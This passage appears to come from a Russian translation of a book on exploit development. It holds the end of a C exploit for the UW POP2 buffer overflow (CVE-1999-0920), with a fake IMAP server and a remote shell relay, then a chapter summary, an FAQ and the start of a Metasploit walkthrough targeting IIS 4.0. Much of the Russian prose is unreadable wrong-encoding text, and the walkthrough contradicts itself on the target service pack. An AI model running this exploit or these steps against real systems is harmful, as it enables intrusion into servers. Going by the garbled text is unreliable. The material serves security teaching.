243     "* CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN"

244     " SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND"

245     " LOGIN-REFERRALS AUTH=LOGIN\r\n"

246     " 00000000 OK CAPABILITY completed\r\n");

247   send(csockfd, sendbuf, strlen(sendbuf), 0);

248   recv(csockfd, recvbuf, sizeof(recvbuf), 0);

249
250   printf(".");

251
252   snprintf(sendbuf, sizeof(sendbuf), "+ VXNlciBOYW1lAA==\r\n");

253   send(csockfd, sendbuf, strlen(sendbuf), 0);

254   recv(csockfd, recvbuf, sizeof(recvbuf), 0);

255
256   printf(".");

257
258   snprintf(sendbuf, sizeof(sendbuf), "+ UGFzc3dvcmQA\r\n");

259   send(csockfd, sendbuf, strlen(sendbuf), 0);

260   recv(csockfd, recvbuf, sizeof(recvbuf), 0);

261
262   printf(".");

263
264   snprintf(sendbuf, sizeof(sendbuf),

265     "* CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN "

266     "SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND\r\n"

267     "00000001 OK AUTHENTICATE completed\r\n");

268
269   send(csockfd, sendbuf, strlen(sendbuf), 0);

270   recv(csockfd, recvbuf, sizeof(recvbuf), 0);

271
272   printf(".");
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273
274   snprintf(sendbuf, sizeof(sendbuf),

275     "* 0 EXISTS\r\n* 0 RECENT\r\n"

276     "* OK [UIDVALIDITY 1] UID validity status\r\n"

277     "* OK [UIDNEXT 1] Predicted next UID\r\n"

278     "* FLAGS (\\Answered \\Flagged \\Deleted \\Draft \\Seen)\r\n"

279     "* OK [PERMANENT FLAGS () ] Permanent flags\r\n"

280     "00000002 OK [ READ-WRITE] SELECT completed\r\n");

281
282   send(csockfd, sendbuf, strlen(sendbuf), 0);

283
284   printf("completed\n");

285
286   close(csockfd);

287   close(ssockfd);

288
289   return(0);

290 }

291
292 int shell(int sockfd)

293 {

294   fd_set fds;

295   int fmax, ret;

296   char buf[1024];

297
298   fmax = max(fileno(stdin), sockfd) + 1;

299
300   for(;;) {

301     FD_ZERO(&fds);

302     FD_SET(fileno(stdin), &fds);

303     FD_SET(sockfd, &fds);

304     if(select(fmax, &fds, NULL, NULL, NULL) < 0) {

305       perror("select()");

306       close(sockfd);

307       exit(-1);

308     }

309     if(FD_ISSET(sockfd, &fds)) {

310       bzero(buf, sizeof buf);

311       if((ret = recv(sockfd, buf, sizeof buf, 0)) < 0) {

312         perror("recv()");

313         close(sockfd);

314         exit(-1);

315       }

316       if(!ret) {

317         fprintf(stderr, "Connection closed\n");

318         close(sockfd);

319         exit(-1);

320       }

321       write(fileno(stdout), buf, ret);

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE�1999�0920
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322     }

323     if(FD_ISSET(fileno(stdin), &fds)) {

324       bzero(buf, sizeof buf);

325       ret = read(fileno(stdin), buf, sizeof buf);

326       errno = 0;

327       if(send(sockfd, buf, ret, 0) != ret) {

328         if(errno)

329           perror("send()");

330         else

331           fprintf(stderr, "Ïîòåðÿíû äàííûå ïðè ïåðåäà÷å\n");

332         close(sockfd);

333         exit(-1);

334       }

335     }

336   }

337 }

338
339 void usage(char *arg)

340 {

341   int i;

342
343   printf("Usage: %s [-v <victim>] [-l <localhost>] [-t <target>] "

             "[options]\n"

344          "\nOptions:\n"

345          "  [-i <imap server>]\n"

346          "  [-u <imap username]\n"

347          "  [-p <imap password]\n"

348          "  [-a <alignment>]\n"

349          "  [-o <offset>]\n"

350          "\nTargets:\n", arg);

351
352   for(i = 0; targets[i].version != NULL; i++)

353     printf("  [%d] – POP2 %s\n", i, targets[i].version);

354   exit(-1);

355 }

356
357 unsigned long resolve(char *hostname)

358 {

359   struct sockaddr_in sin;

360   struct hostent *hent;

361
362   hent = gethostbyname(hostname);

363   if(!hent)

364     return 0;

365
366   bzero((char *) &sin, sizeof(sin));

367   memcpy((char *) &sin.sin_addr, hent->h_addr, hent->h_length);

368   return sin.sin_addr.s_addr;

369 }
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Ýòîò ýêñïëîéò èìèòèðóåò ïîâåäåíèå IMAP-ñåðâåðà, ïîçâîëÿÿ àòàêóþùåìó
îáîéòèñü áåç âíåøíåãî IMAP-ñåðâåðà ñ äåéñòâóþùåé ó÷åòíîé çàïèñüþ. Äåé-
ñòâèÿ, âûçûâàþùèå ïåðåïîëíåíèå ñòåêà, äîâîëüíî ïðîñòû. Â ñòðîêàõ 107–
111 óñòàíàâëèâàåòñÿ ñîåäèíåíèå ñ POP2-ñåðâåðîì. Çàòåì ýêñïëîéò âûçûâàåò
ôóíêöèþ imap_server, ñîçäàþùóþ èìèòàöèþ IMAP-ñåðâåðà. Ýòîò «IMAP-ñåð-
âåð» ïîñûëàåò POP2-ñåðâåðó ñòðîêó HELO, çàñòàâëÿÿ åãî ñîåäèíèòüñÿ ñ IMAP-
ñåðâåðîì, ÷òîáû ïðîâåðèòü ñóùåñòâîâàíèå óêàçàííîãî ïîëüçîâàòåëÿ. Êîãäà
POP2-ñåðâåð ïîäòâåðæäàåò óñïåøíîñòü îïåðàöèè, åìó ïîñûëàåòñÿ êîìàíäà
FOLD (ñòðîêà 140) ñî ñïåöèàëüíî ïîäãîòîâëåííûì àðãóìåíòîì, êîòîðûé âû-
çûâàåò ïåðåïîëíåíèå ñòåêà è âûïîëíåíèå ïðîèçâîëüíîãî êîäà.

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE�1999�0920
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Резюме
Äëÿ óñïåøíîãî íàïèñàíèÿ ýêñïëîéòà, íàïðàâëåííîãî ïðîòèâ ïåðåïîëíåíèÿ
áóôåðà, íóæíî õîðîøî ðàçáèðàòüñÿ â ìåòîäàõ îòëàäêè, àðõèòåêòóðå ñèñòåìû
è îðãàíèçàöèè ïàìÿòè. Ñòðóêòóðà shell-êîäà â ñî÷åòàíèè ñ îãðàíè÷åíèÿìè, íà-
êëàäûâàåìûìè êîíêðåòíîé óÿçâèìîñòüþ, ìîãóò êàê çàòðóäíèòü, òàê è ïîñïî-
ñîáñòâîâàòü ðåçóëüòàòèâíîé ðàáîòå ýêñïëîéòà. Åñëè äðóãèå äàííûå â ñòåêå
èëè â êó÷å óìåíüøàþò îáúåì ïàìÿòè, äîñòóïíîé shell-êîäó, òî òðåáóåòñÿ îï-
òèìèçèðîâàòü shell-êîä â ñîîòâåòñòâèè ñ çàäà÷åé, ñòîÿùåé ïåðåä àòàêóþùèì.
Çíàíèå òîãî, êàê ïðî÷èòàòü è ìîäèôèöèðîâàòü ñóùåñòâóþùèé shell-êîä èëè
íàïèñàòü ñâîé ñîáñòâåííûé, ñîâåðøåííî íåîáõîäèìî äëÿ ïðàêòè÷åñêîãî ñî-
çäàíèÿ ýêñïëîéòîâ.

Ïåðåïîëíåíèå ñòåêà è çàòèðàíèå êó÷è êîãäà-òî áûëè ñàìûìè ñåðüåçíûìè
ïðîáëåìàìè ïðè ðàçðàáîòêå ïðîãðàììíîãî îáåñïå÷åíèÿ ñ òî÷êè çðåíèÿ ïî-
òåíöèàëüíîãî ðèñêà êîìïðîìåòàöèè. Íî òåïåðü èõ ìåñòî çàíèìàþò áîëåå
íîâûå è òðóäíûå äëÿ îáíàðóæåíèÿ îøèáêè ïðè ðàáîòå ñ öåëûìè ÷èñëàìè.
Ê ýòîìó êëàññó îòíîñÿòñÿ øèðîêèé ñïåêòð îøèáîê, â òîì ÷èñëå íåñîîòâåò-
ñòâèå òèïîâ è îøèáêè óìíîæåíèÿ.

Обзор изложенного материала
Ïðîãðàììèðîâàíèå ñîêåòîâ è ïðèâÿçêèÏðîãðàììèðîâàíèå ñîêåòîâ è ïðèâÿçêèÏðîãðàììèðîâàíèå ñîêåòîâ è ïðèâÿçêèÏðîãðàììèðîâàíèå ñîêåòîâ è ïðèâÿçêèÏðîãðàììèðîâàíèå ñîêåòîâ è ïðèâÿçêè
ê ïîðòó â ýêñïëîéòàõê ïîðòó â ýêñïëîéòàõê ïîðòó â ýêñïëîéòàõê ïîðòó â ýêñïëîéòàõê ïîðòó â ýêñïëîéòàõ

� Ïàðàìåòð domain îïðåäåëÿåò ìåòîä êîììóíèêàöèè è äëÿ ñîêåòîâ, èñ-
ïîëüçóþùèõ ïðîòîêîëû TCP/IP, ÷àùå âñåãî ðàâåí AF_INET.

� Ïàðàìåòð sockfd – ýòî äåñêðèïòîð èíèöèàëèçèðîâàííîãî ñîêåòà, âîç-
âðàùàåìûé ôóíêöèåé socket. Îíà îáÿçàòåëüíî äîëæíà âûçûâàòüñÿ ïå-
ðåä ïîïûòêîé óñòàíîâèòü ñîåäèíåíèå. Ñòðóêòóðà serv_addr ñîäåðæèò
IP-àäðåñ è ïîðò ïîëó÷àòåëÿ.

� Ïðè íàïèñàíèè ýêñïëîéòîâ èíîãäà áûâàåò íåîáõîäèìî óñòàíîâèòü îá-
ðàòíîå ñîåäèíåíèå è ñîçäàòü íåêîå ïîäîáèå ñåðâåðà. Äëÿ ðåàëèçàöèè
ôóíêöèé ñåðâåðà íóæíû ÷åòûðå  ôóíêöèè: socket, bind, l isten è accept.

Ýêñïëîéòû äëÿ ïåðåïîëíåíèÿ ñòåêàÝêñïëîéòû äëÿ ïåðåïîëíåíèÿ ñòåêàÝêñïëîéòû äëÿ ïåðåïîëíåíèÿ ñòåêàÝêñïëîéòû äëÿ ïåðåïîëíåíèÿ ñòåêàÝêñïëîéòû äëÿ ïåðåïîëíåíèÿ ñòåêà
� Ïåðåïîëíåíèå áóôåðà, ðàñïîëîæåííîãî â ñòåêå, íà ñåãîäíÿ ñ÷èòàåòñÿ

ñàìîé ðàñïðîñòðàíåííîé èç îøèáîê, äîïóñêàþùèõ àòàêó ñ ïîìîùüþ
ýêñïëîéòà. Â ýòîì ñëó÷àå äàííûå ïèøóòñÿ çà ïðåäåëàìè áóôåðà, çàòèðàÿ
ñòåê, ÷òî ïðèâîäèò ê íåïðåäñêàçóåìîìó ïîâåäåíèþ è ÷àñòî ñòàíîâèòñÿ
ïðè÷èíîé êîìïðîìåòàöèè.
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� Ñâûøå ñîòíè ôóíêöèé â ñòàíäàðòíîé áèáëèîòåêå LIBC ÷ðåâàòû ïðî-
áëåìàìè äëÿ áåçîïàñíîñòè ñèñòåìû. Ñåðüåçíîñòü ýòèõ ïðîáëåì âàðüè-
ðóåòñÿ îò íåçíà÷èòåëüíîé (ñêàæåì, «ïñåâäîñëó÷àéíûå ÷èñëà, ãåíåðèðóå-
ìûå srand(), íåäîñòàòî÷íî ñëó÷àéíû») äî êðèòè÷åñêîé («ìîæåò ïðèâå-
ñòè ê ïîâûøåíèþ ïðèâèëåãèé ïðè íåïðàâèëüíîì èñïîëüçîâàíèè», êàê,
íàïðèìåð, printf()).

Ýêñïëîéòû äëÿ çàòèðàíèÿ êó÷èÝêñïëîéòû äëÿ çàòèðàíèÿ êó÷èÝêñïëîéòû äëÿ çàòèðàíèÿ êó÷èÝêñïëîéòû äëÿ çàòèðàíèÿ êó÷èÝêñïëîéòû äëÿ çàòèðàíèÿ êó÷è
� Êó÷à – ýòî îáëàñòü, èç êîòîðîé ïðèëîæåíèå âûäåëÿåò ïàìÿòü äèíàìè-

÷åñêè, âî âðåìÿ âûïîëíåíèÿ. ×àñòî ïåðåïîëíÿþòñÿ áóôåðû, ïàìÿòü
äëÿ êîòîðûõ âûäåëåíà èç êó÷è, è ýêñïëîéòû äëÿ òàêèõ îøèáîê ïèøóòñÿ
èíà÷å, ÷åì äëÿ ïåðåïîëíåíèé áóôåðà â ñòåêå.

� Â îòëè÷èå îò ïåðåïîëíåíèÿ ñòåêà òàêèå îøèáêè ïëîõî âîñïðîèçâîäè-
ìû, è äëÿ èõ ýêñïëóàòàöèè ïðèìåíÿþòñÿ ðàçëè÷íûå ïðèåìû.

� Ïðèëîæåíèå âûäåëÿåò ïàìÿòü èç êó÷è ïî ìåðå íåîáõîäèìîñòè. Äëÿ
ýòîãî ïðèìåíÿåòñÿ ôóíêöèÿ malloc(). Åé ïåðåäàåòñÿ ÷èñëî òðåáóåìûõ
áàéòîâ, à âîçâðàùàåò îíà óêàçàòåëü íà âûäåëåííóþ îáëàñòü ïàìÿòè.

Ýêñïëîéòû äëÿ îøèáîê ïðè ðàáîòå ñ öåëûìè ÷èñëàìèÝêñïëîéòû äëÿ îøèáîê ïðè ðàáîòå ñ öåëûìè ÷èñëàìèÝêñïëîéòû äëÿ îøèáîê ïðè ðàáîòå ñ öåëûìè ÷èñëàìèÝêñïëîéòû äëÿ îøèáîê ïðè ðàáîòå ñ öåëûìè ÷èñëàìèÝêñïëîéòû äëÿ îøèáîê ïðè ðàáîòå ñ öåëûìè ÷èñëàìè
� Ïåðåïîëíåíèå öåëîãî ÷èñëà âîçíèêàåò, êîãäà â ðåçóëüòàòå óâåëè÷åíèÿ

öåëîå ÷èñëî äîñòèãàåò ìàêñèìàëüíî äîïóñòèìîãî çíà÷åíèÿ è ïðè ïå-
ðåõîäå ÷åðåç íåãî ñòàíîâèòñÿ ðàâíûì íóëþ, à çàòåì ïðèíèìàåò íåáîëü-
øèå çíà÷åíèÿ.

� Ïåðåõîä ÷åðåç íîëü ïðîèñõîäèò òàêæå â ðåçóëüòàòå óìåíüøåíèÿ íå-
áîëüøîãî öåëîãî ÷èñëà, â ðåçóëüòàòå ÷åãî îíî íà÷èíàåò ïðèíèìàòü
áîëüøèå çíà÷åíèÿ.

� ×àñòî îøèáêè ïåðåïîëíåíèÿ öåëîãî îáíàðóæèâàþòñÿ â ñâÿçè ñ ôóíê-
öèåé malloc, íî ïðîáëåìà íå ñâÿçàíà íè ñ óïðàâëåíèåì ïàìÿòüþ, íè êîí-
êðåòíî ñ ýòîé èëè âîîáùå êàêîé-òî ôóíêöèåé èç áèáëèîòåêè LIBC.

Ссылки на сайты
� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-

øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå.

� www.immunitysec.com. Ñàéò Äåéâà Ýéòåëÿ (Dave Aitel), ïîñâÿùåííûé
áåñïëàòíîé áèáëèîòåêå SPIKE äëÿ ãåíåðàöèè ñëó÷àéíûõ âõîäíûõ äàí-
íûõ. Åå èñõîäíûå òåêñòû ìîæíî çàãðóçèòü èç ðàçäåëà «Free Tools».

� www.corest.com. Êîìïàíèÿ Core Security Technologies ðåàëèçîâàëà íåìà-
ëî êàñàþùèõñÿ áåçîïàñíîñòè ïðîåêòîâ ñ îòêðûòûìè èñõîäíûìè òåê-
ñòàìè, êîòîðûå áåñïëàòíî ïðåäîñòàâèëà â ðàñïîðÿæåíèè ñîîáùåñòâà

Ссылки на сайты
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êîëëåã. Îäèí èç ñàìûõ ïîïóëÿðíûõ åå ïðîåêòîâ – ýòî áèáëèîòåêà shell-
êîäîâ Inl ineEgg.

� www.eeye.com. Ïðåêðàñíûé ñàéò, íà êîòîðîì äåòàëüíî îïèñûâàþòñÿ
óÿçâèìîñòè íà ïëàòôîðìå Microsoft Windows è äàþòñÿ ðåêîìåíäàöèè
ïî íàïèñàíèþ ýêñïëîéòîâ.

� www.idefense.com. Êîìïàíèÿ iDefense çà ïðîøåäøèå äâà ãîäà îïóáëèêî-
âàëà ñâûøå 50 îò÷åòîâ î íàéäåííûõ óÿçâèìîñòÿõ. Îòëè÷íûé èñòî÷íèê
èíôîðìàöèè ïî ýòîé òåìå.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëî-
æåííûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õî-
òèòå çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions
è çàïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì
äðóãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Åñëè ÿ ïîëüçóþñü ñèñòåìîé çàùèòû îò âòîðæåíèé (intrusion protection
system – IPS) èëè òàêèìè óòèëèòàìè, êàê stackguard, èëè çàïëàòîé, çàïðåùàþ-
ùåé èñïîëíåíèå êîìàíä, íàõîäÿùèõñÿ â ñòåêå, ìîãó ëè ÿ ñ÷èòàòü, ÷òî çàùè-
ùåí îò ýêñïëîéòîâ, àòàêóþùèõ óÿçâèìîñòè â ìîåé ñèñòåìå?

Î:Î:Î:Î:Î: Íåò. Ýòè ñèñòåìû äåéñòâèòåëüíî çàòðóäíÿþò íàïèñàíèå ýêñïëîéòîâ,
íî íå äåëàþò ýòó çàäà÷ó íåðàçðåøèìîé. Êðîìå òîãî, áîëüøàÿ ÷àñòü ïîäîáíî-
ãî ðîäà áåñïëàòíûõ óòèëèò ìåøàþò ëèøü ýêñïëóàòàöèè óÿçâèìîñòåé, ñâÿçàí-
íûõ ñ ïåðåïîëíåíèåì ñòåêà, íî íèêàê íå ïðåïÿòñòâóþò àòàêàì íà îøèáêè,
ñâÿçàííûå ñ çàòèðàíèåì êó÷è, è ïðî÷èå.

Â:Â:Â:Â:Â: Êàêàÿ îïåðàöèîííàÿ ñèñòåìà ñàìàÿ áåçîïàñíàÿ? 
Î:Î:Î:Î:Î: Íå äîêàçàíî, ÷òî êàêàÿ-òî èç îáùåäîñòóïíûõ îïåðàöèîííûõ ñèñòåì

áîëåå áåçîïàñíà, ÷åì ïðî÷èå. Íåêîòîðûå ïðîèçâîäèòåëè çàÿâëÿþò, ÷òî èõ
ñèñòåìû áåçîïàñíû, íî óÿçâèìîñòè â íèõ âñå ðàâíî íàõîäÿò è çàêðûâàþò
(õîòÿ íå âñåãäà ñîîáùàþò îá ýòîì ïóáëè÷íî). Äëÿ äðóãèõ ñèñòåì çàïëàòû âû-
õîäÿò ïî÷òè êàæäóþ íåäåëþ, íî çàòî îíè è ïîäâåðãàþòñÿ áîëåå ïðèñòàëüíî-
ìó âíèìàíèþ õàêåðîâ.

Â:Â:Â:Â:Â: Åñëè îøèáêè, ñâÿçàííûå ñ ïåðåïîëíåíèåì áóôåðà, è äðóãèå óÿçâèìîñòè
èçâåñòíû óæå òàê äàâíî, òî ïî÷åìó îíè âñå åùå âñòðå÷àþòñÿ â ïðèëîæåíèÿõ?

Î:Î:Î:Î:Î: Õîòÿ êëàññè÷åñêèå ïåðåïîëíåíèÿ ñòåêà òåïåðü óæå íå òàê ÷àñòî âñòðå-
òèøü â øèðîêî èñïîëüçóåìûõ ïðîãðàììàõ, íî íå âñå ðàçðàáîò÷èêè çíàþò
îá îïàñíîñòè, à òå, êòî çíàåò, èíîãäà âñå æå äîïóñêàþò îøèáêè.
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Введение
Â 2003 ãîäó íà ñóä îáùåñòâåííîñòè áûë ïðåäñòàâëåí íîâûé èíñòðóìåíò ïîä íàçâà-
íèåì Metasploit Framework (MSF). Ýòî ïåðâûé áåñïëàòíûé êàðêàñ äëÿ ðàçðàáîòêè
ýêñïëîéòîâ, ðàñïðîñòðàíÿåìûé ñ èñõîäíûìè òåêñòàìè. Â ñëåäóþùåì ïîñëå âû-
ïóñêà ãîäó MSF áûñòðî ñòàë îäíèì èç ñàìûõ ïîïóëÿðíûõ ïðîäóêòîâ â ñôåðå èí-
ôîðìàöèîííîé áåçîïàñíîñòè. Ñîëèäíóþ ðåïóòàöèþ MSF çàñëóæèë áëàãîäàðÿ
óñèëèÿì êàê îñíîâíîé ãðóïïû ðàçðàáîò÷èêîâ, òàê è ñòîðîííèõ àâòîðîâ. Ðåçóëü-
òàòîì èõ íàïðÿæåííîãî òðóäà ñòàëî áîëåå 45 íàäåæíûõ ýêñïëîéòîâ äëÿ ìíîãèõ
ïîïóëÿðíûõ îïåðàöèîííûõ ñèñòåì è ïðèëîæåíèé. Êàðêàñ Metasploit ðàñïðîñòðà-
íÿåòñÿ íà óñëîâèÿõ ëèçåíöèé GNU GPL è «artistic». Ñ êàæäîé íîâîé âåðñèåé îí
ïîïîëíÿåòñÿ íîâûìè ýêñïëîéòàìè è ïåðåäîâûìè ôóíêöèÿìè.

Ìû íà÷íåì ýòó ãëàâó ñ îáñóæäåíèÿ òîãî, êàê Metasploit Framework ìîæíî
èñïîëüçîâàòü â êà÷åñòâå ïëàòôîðìû äëÿ ñîçäàíèÿ ýêñïëîéòîâ. Îñíîâíîå
âíèìàíèå áóäåò óäåëåíî ïðîãðàììå msfconsole – ñàìîìó ìîùíîìó è ãèáêîìó
èç òðåõ èìåþùèõñÿ èíòåðôåéñîâ. Çàòåì ìû ðàññìîòðèì îäèí èç ñàìûõ ïîëåç-
íûõ àñïåêòîâ Metasploit, î êîòîðîì ìíîãèå ïîëüçîâàòåëè íå çíàþò, õîòÿ îí
ñïîñîáåí çàìåòíî ñîêðàòèòü âðåìÿ ðàçðàáîòêè ïîëíîôóíêöèîíàëüíûõ ýêñ-
ïëîéòîâ, íå òðåáóÿ îáøèðíûõ ïðåäâàðèòåëüíûõ çíàíèé. Ïðîñëåäèâ çà ñîçäà-
íèåì ýêñïëîéòà, íàïðàâëåííîãî ïðîòèâ ðåàëüíîé óÿçâèìîñòè â îäíîì ïîïó-
ëÿðíîì Web-ñåðâåðå ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìè, ÷èòàòåëü íàó÷èò-
ñÿ ïðèìåíÿòü MSF äëÿ îðãàíèçàöèè àòàêè íà ïåðåïîëíåíèå áóôåðà. Â ýòîé
ãëàâå ìû îáúÿñíèì òàêæå, êàê èíòåãðèðîâàòü ýêñïëîéò íåïîñðåäñòâåííî
â êàðêàñ Metasploit íà ïðèìåðå äåòàëüíîãî àíàëèçà óæå ïðîäåëàííîé ðàáîòû.
Íå áóäóò îñòàâëåíû áåç âíèìàíèÿ è äåòàëè ôóíêöèîíèðîâàíèÿ ÿäðà
Metasploit. Ïî õîäó èçëîæåíèÿ ó ÷èòàòåëÿ áóäåò âîçìîæíîñòü îöåíèòü ïðå-
èìóùåñòâà êàðêàñîâ äëÿ ðàçðàáîòêè ýêñïëîéòîâ.

Ýòà ãëàâà íå ðàññ÷èòàíà íè íà íîâè÷êîâ, íè íà ýêñïåðòîâ. Åå öåëü – ïðîäå-
ìîíñòðèðîâàòü ïîëåçíîñòü èíñòðóìåíòàðèÿ, âõîäÿùåãî â ñîñòàâ Metasploit, è
íàâåñòè ìîñòû ìåæäó òåîðèåé è ïðàêòèêîé. ×òîáû èçâëå÷ü ìàêñèìàëüíóþ
ïîëüçó èç åå ïðî÷òåíèÿ, æåëàòåëüíî ïîíèìàòü òåîðåòè÷åñêèå îñíîâû àòàê íà
ïåðåïîëíåíèå áóôåðà è èìåòü õîòÿ áû áàçîâûå íàâûêè ïðîãðàììèðîâàíèÿ.

Использование каркаса
Metasploit Framework
Êàðêàñ Metasploit Framework íàïèñàí íà ÿçûêå Perl è ðàáîòàåò ïî÷òè íà ëþáîé
UNIX-ïëàòôîðìå, âêëþ÷àÿ è ýìóëÿòîð Cygwin äëÿ Windows. Êàðêàñ ïðåäîñ-
òàâëÿåò íà âûáîð òðè èíòåðôåéñà ïîëüçîâàòåëÿ: msfcl i, msfweb è msfconsole.
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Èíòåðôåéñ msfcl i ïîëåçåí äëÿ íàïèñàíèÿ ñöåíàðèåâ, òàê  êàê  âñå  ïàðàìåòðû
ýêñïëîéòà çàäàþòñÿ â êîìàíäíîé ñòðîêå. Äîñòóï ê èíòåðôåéñó msfweb ìîæíî
ïîëó÷èòü èç Web-áðàóçåðà, îí ìîæåò ñëóæèòü îòëè÷íîé ñðåäîé äëÿ äåìîíñò-
ðàöèè óÿçâèìîñòåé. Êîíñîëü msfconsole – ýòî èíòåðàêòèâíàÿ ãðàôè÷åñêàÿ
îáîëî÷êà, íàèáîëåå óäîáíàÿ äëÿ ðàçðàáîòêè ýêñïëîéòîâ.

Примечание

Все интерфейсы к Metasploit построены на базе единого API, экспор�
тируемого ядром. API легко расширяется на любое средство комму�
никации, например, IRC�чаты, в этом случае интерфейс мог бы стать
идеальной средой для коллективной работы и обучения. Такой ин�
терфейс уже разработан, хотя официально еще не выпущен. Ходят
слухи, что в разработке находится также интерфейс для Интернет�
пейджеров.

Èíòåðàêòèâíûé êîìàíäíûé èíòåðôåéñ msfconsole ïðåäîñòàâëÿåò íàáîð êî-
ìàíä, ñ ïîìîùüþ êîòîðûõ ïîëüçîâàòåëü ìîæåò çàäàòü ïàðàìåòðû êàê ñàìîãî
êàðêàñà, òàê è ýêñïëîéòà, è â êîíå÷íîì èòîãå çàïóñòèòü ýêñïëîéò. Íåðàñïîç-
íàííûå êîìàíäû ïåðåäàþòñÿ îïåðàöèîííîé ñèñòåìå, òàê ÷òî ìîæíî, íå
ïîêèäàÿ îáîëî÷êè, âûïîëíÿòü ðàçëè÷íûå âñïîìîãàòåëüíûå óòèëèòû. Ìû
ïðîäåìîíñòðèðóåì ðàáîòó ñ msfconsole íà ïðèìåðå ðàçðàáîòêè ýêñïëîéòà äëÿ
Web-ñåðâåðà IIS 4.0 íà ïëàòôîðìå Windows NT ñ óñòàíîâëåííûì ïàêåòîì îá-
íîâëåíèé Service Pack 5.

Íà ðèñ. 12.1 ïîêàçàíî ñïðàâî÷íîå ìåíþ, êîòîðîå ìîæíî âûçâàòü â ëþáîé
ìîìåíò íàæàâ êëàâèøó ? èëè íàáðàâ êîìàíäó help.

Рис. 12.1. Рис. 12.1. Рис. 12.1. Рис. 12.1. Рис. 12.1. Справочное меню msfconsole

Использование каркаса Metasploit Framework
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Ïðåæäå âñåãî, îáðàòèòå âíèìàíèå íà âîçìîæíîñòü ïîëó÷åíèÿ ñïèñêà èìå-
þùèõñÿ ýêñïëîéòîâ ñ ïîìîùüþ êîìàíäû show exploits (ñì. ðèñ. 12.2).

Ìíîãîîáåùàþùå âûãëÿäèò ñòðîêà IIS 4.0 .HTR Buffer Overflow, ïîñêîëüêó íà
ìàøèíå, êîòîðóþ ìû âûáðàëè æåðòâîé, ðàáîòàåò IIS 4.0. Ñ ïîìîùüþ êîìàí-
äû info ìîæíî ïîëó÷èòü èíôîðìàöèþ î ðàçëè÷íûõ àñïåêòàõ ýêñïëîéòà,
â ÷àñòíîñòè, î öåëåâîé ïëàòôîðìå è òðåáîâàíèÿõ ê íåé, î ñïåöèôèêå ïîëåç-
íîé íàãðóçêè, îïèñàíèå è ññûëêè íà âíåøíèå èñòî÷íèêè èíôîðìàöèè. Íà
ðèñ. 12.3 âèäíî, ÷òî ñðåäè öåëåâûõ ïëàòôîðì åñòü è Windows NT4 SP5, êîòî-
ðàÿ íàñ êàê ðàç èíòåðñóåò.

Äàëåå ïîëüçîâàòåëü ãîâîðèò êàðêàñó, ÷òî íàäî âûáðàòü ýêñïëîéò äëÿ IIS
4.0, ââîäÿ êîìàíäó use iis40_htr. Ïî óìîë÷àíèþ âêëþ÷åí ðåæèì àâòîçàâåðøå-
íèÿ ïî êëàâèøå òàáóëÿöèè, òàê ÷òî äîñòàòî÷íî íàáðàòü iis4 è íàæàòü TabTabTabTabTab.
Êàê âèäíî èç ðèñ. 12.5, â êîìàíäíîé ñòðîêå îòðàæåí ñäåëàííûé âûáîð.

Ïîñëå òîãî êàê ýêñïëîéò âûáðàí, êîíñîëü ïåðåêëþ÷àåòñÿ èç îñíîâíîãî
ðåæèìà â ðåæèì ýêñïëîéòà, à ñïèñîê êîìàíä îòðàæàåò èìåþùèåñÿ â ýòîì ðå-
æèìå âîçìîæíîñòè. Íàïðèìåð, êîìàíäà show òåïåðü âûâîäèò èíôîðìàöèþ

Рис. 12.2. Рис. 12.2. Рис. 12.2. Рис. 12.2. Рис. 12.2. Перечень эксплойтов в окне msfconsole
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î êîíêðåòíîì ìîäóëå, à íå ñïèñîê èìåþùèõñÿ ýêñïëîéòîâ, êîäèðîâùèêîâ è
ãåíåðàòîðîâ äîðîæåê èç NOP-êîìàíä. Åñëè íàæàòü êëàâèøó ? èëè íàáðàòü
êîìàíäó help, òî ïîÿâèòñÿ ñïèñîê êîìàíä, äîñòóïíûõ â ðåæèìå ýêñïëîéòà
(ðèñ. 12.5).

Äàëåå ïîëüçîâàòåëü ïðîñìàòðèâàåò ñïèñîê âîçìîæíûõ öåëåé. Â Metasploit
ïîä «öåëüþ» ïîíèìàåòñÿ ïëàòôîðìà, íà êîòîðîé ðàáîòàåò óäàëåííîå ïðèëî-
æåíèå. Âìåñòå ñ êàæäûì ýêñïëîéòîì õðàíèòñÿ ïîäðîáíàÿ èíôîðìàöèÿ
î êàæäîé öåëè, ê êîòîðîé îí ïðèìåíèì. Åñëè óêàçàòü íåâåðíóþ öåëü, òî ýêñ-
ïëîéò íå áóäåò ðàáîòàòü è, âîçìîæíî, ïðèâåäåò ê àâàðèéíîìó çàâåðøåíèþ
àòàêóåìîãî ñåðâèñà.

Рис. 12.3. Рис. 12.3. Рис. 12.3. Рис. 12.3. Рис. 12.3. Получение информации об эксплойте

Рис. 12.4. Рис. 12.4. Рис. 12.4. Рис. 12.4. Рис. 12.4. Выбор эксплойта

Использование каркаса Metasploit Framework
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Ïîñêîëüêó íàøåé öåëüþ ÿâëÿåòñÿ Windows NT 4 Service Pack 2, òî ïîëüçî-
âàòåëü ââîäèò êîìàíäó set TARGET 2 (ñì. ðèñ. 12.6).

